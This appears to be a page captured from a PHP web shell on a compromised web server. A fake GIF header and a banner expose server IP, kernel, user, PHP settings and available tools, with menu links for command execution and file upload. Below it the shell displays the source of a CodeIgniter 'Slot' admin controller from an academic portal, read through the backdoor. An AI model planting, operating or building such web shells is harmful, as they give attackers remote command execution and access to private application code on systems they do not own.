GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.145.64.245 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../alumni/../css/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of Slot * * @author Softpro India Pvt. Ltd. */ class Slot extends CI_Controller { //put your code here public function __construct() { parent::__construct(); $this->load->model("admin/SlotManagement"); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allSlots'] = $this->SlotManagement->getAllSlots()->result(); $this->load->view('admin/academics/slots', $viewData); } else { redirect("admin/"); } } public function createSlot() { if ($this->sessionvalidator->isLoggedIn()) { $this->load->view('admin/academics/createSlot'); } else { redirect("admin/"); } } public function saveNewSlot() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('from_hour', 'From', 'trim|required', array('required' => 'Select Slot From Hour.')); $this->form_validation->set_rules('from_minute', 'From', 'trim|required', array('required' => 'Select Slot From Minute.')); $this->form_validation->set_rules('from_am_pm', 'From', 'trim|required', array('required' => 'Select Slot From AM/PM.')); $this->form_validation->set_rules('to_hour', 'From', 'trim|required', array('required' => 'Select Slot To Hour.')); $this->form_validation->set_rules('to_minute', 'From', 'trim|required', array('required' => 'Select Slot To Minute.')); $this->form_validation->set_rules('to_am_pm', 'From', 'trim|required', array('required' => 'Select Slot To AM/PM.')); $slotName = $this->input->post('from_hour') . ":" . $this->input->post('from_minute') . " " . $this->input->post('from_am_pm') . "-" . $this->input->post('to_hour') . ":" . $this->input->post('to_minute') . " " . $this->input->post('to_am_pm'); $queryBySlotName = $this->SlotManagement->getSlotInfoByName(trim($slotName)); $slotInfoByName = $queryBySlotName->result(); if ($this->form_validation->run() == FALSE) { $this->createSlot(); } else if (sizeof($slotInfoByName)) { $this->session->set_flashdata('errorMessage', "A Slot With This Name Already Exits. Please choose A Different Name."); $this->createSlot(); } else { $newSlotInfo = array( 'slot_name' => addslashes(trim($slotName)), 'from_hour' => $this->input->post('from_hour'), 'from_minute' => $this->input->post('from_minute'), 'from_am_pm' => $this->input->post('from_am_pm'), 'to_hour' => $this->input->post('to_hour'), 'to_minute' => $this->input->post('to_minute'), 'to_am_pm' => $this->input->post('to_am_pm'), 'slot_added_on' => date("Y-m-d H:i:s"), 'slot_added_by' => $this->session->userdata("adminData")["smember_id"], 'slot_updated_on' => date("Y-m-d H:i:s"), 'slot_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->SlotManagement->createNewSlot($newSlotInfo)) { $this->session->set_flashdata('successMessage', 'Slot Created Successfully.'); redirect("admin/Slot"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Slot. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function editSlot($slot_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['slotInfo'] = $this->SlotManagement->getSlotInfoBy($slot_id)->result()[0]; $this->load->view('admin/academics/editSlot', $viewData); } else { redirect("admin/"); } } public function updateSlot() { if ($this->sessionvalidator->isLoggedIn()) { $slot_id = $this->input->post('slot_id'); $this->form_validation->set_rules('from_hour', 'From', 'trim|required', array('required' => 'Select Slot From Hour.')); $this->form_validation->set_rules('from_minute', 'From', 'trim|required', array('required' => 'Select Slot From Minute.')); $this->form_validation->set_rules('from_am_pm', 'From', 'trim|required', array('required' => 'Select Slot From AM/PM.')); $this->form_validation->set_rules('to_hour', 'From', 'trim|required', array('required' => 'Select Slot To Hour.')); $this->form_validation->set_rules('to_minute', 'From', 'trim|required', array('required' => 'Select Slot To Minute.')); $this->form_validation->set_rules('to_am_pm', 'From', 'trim|required', array('required' => 'Select Slot To AM/PM.')); $slotName = $this->input->post('from_hour') . ":" . $this->input->post('from_minute') . " " . $this->input->post('from_am_pm') . "-" . $this->input->post('to_hour') . ":" . $this->input->post('to_minute') . " " . $this->input->post('to_am_pm'); if ($this->form_validation->run() == FALSE) { $this->editSlot($slot_id); } else if (!$this->SlotManagement->isSlotNameSafeUpdate($slot_id, trim($slotName))) { $this->session->set_flashdata('errorMessage', "A Slot With This Name Already Exits. Please choose A Different Name."); $this->editSlot($slot_id); } else { $newSlotInfo = array( 'slot_name' => addslashes(trim($slotName)), 'from_hour' => $this->input->post('from_hour'), 'from_minute' => $this->input->post('from_minute'), 'from_am_pm' => $this->input->post('from_am_pm'), 'to_hour' => $this->input->post('to_hour'), 'to_minute' => $this->input->post('to_minute'), 'to_am_pm' => $this->input->post('to_am_pm'), 'slot_updated_on' => date("Y-m-d H:i:s"), 'slot_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->SlotManagement->updateSlotInfo($newSlotInfo, $slot_id)) { $this->session->set_flashdata('successMessage', 'Slot Updated Successfully.'); redirect("admin/Slot"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Slot. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function toggleSlotStatus($slot_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $slotUpdateData = array( 'slot_updated_on' => date("Y-m-d H:i:s"), 'slot_updated_by' => $this->session->userdata("adminData")["smember_id"], 'slot_active_status' => $toUpdateStatus ); if ($this->SlotManagement->updateSlotInfo($slotUpdateData, $slot_id)) { $this->session->set_flashdata('successMessage', 'Slot Status Updated Successfully.'); redirect("admin/Slot"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Slot Status. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function deleteSlot($slot_id) { if ($this->sessionvalidator->isLoggedIn()) { $slotUpdateData = array( 'slot_updated_on' => date("Y-m-d H:i:s"), 'slot_updated_by' => $this->session->userdata("adminData")["smember_id"], 'slot_delete_status' => 'T' ); if ($this->SlotManagement->updateSlotInfo($slotUpdateData, $slot_id)) { $this->session->set_flashdata('successMessage', 'Slot Deleted Successfully.'); redirect("admin/Slot"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Slot. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function undoDeleteSlot($slot_id) { if ($this->sessionvalidator->isLoggedIn()) { $slotUpdateData = array( 'slot_updated_on' => date("Y-m-d H:i:s"), 'slot_updated_by' => $this->session->userdata("adminData")["smember_id"], 'slot_delete_status' => 'F' ); if ($this->SlotManagement->updateSlotInfo($slotUpdateData, $slot_id)) { $this->session->set_flashdata('successMessage', 'Slot Recovered Successfully.'); redirect("admin/Slot"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Slot. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function getNonAllocatedSlotsForDropDown() { $session = $_POST['session']; $subject = $_POST['subject']; $attDate = $_POST['attDate']; $adminData = $this->session->userdata("adminData"); $query = $this->SlotManagement->getNonAllocatedSlotsBy($session, $subject, $adminData['smember_id'], date('Y-m-d', strtotime(str_replace('/', '-', $attDate)))); $slotList = $query->result(); $options = "<option value=''>Select Slot</option>"; for ($i = 0; $i < (sizeof($slotList)); $i++) { $options .= "<option value=" . $slotList[$i]->slot_id . ">" . stripslashes($slotList[$i]->slot_name) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'slot_list' => $options ); echo json_encode($responseData); } public function getAllocatedSlotsForDropDown() { $session = $_POST['session']; $subject = $_POST['subject']; $attDate = $_POST['attDate']; $selectedSlot = $_POST['slot']; $adminData = $this->session->userdata("adminData"); $query = $this->SlotManagement->getAllocatedSlotsBy($session, $subject, $adminData['smember_id'], date("Y-m-d", strtotime(str_replace('/', '-', $attDate)))); $slotList = $query->result(); //echo $this->db->last_query();exit(); $options = "<option value=''>Select Slot</option>"; for ($i = 0; $i < (sizeof($slotList)); $i++) { $selected = ($selectedSlot == $slotList[$i]->slot_id) ? "selected" : ""; $options .= "<option " . $selected . " value=" . $slotList[$i]->slot_id . ">" . stripslashes($slotList[$i]->slot_name) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'slot_list' => $options ); echo json_encode($responseData); } }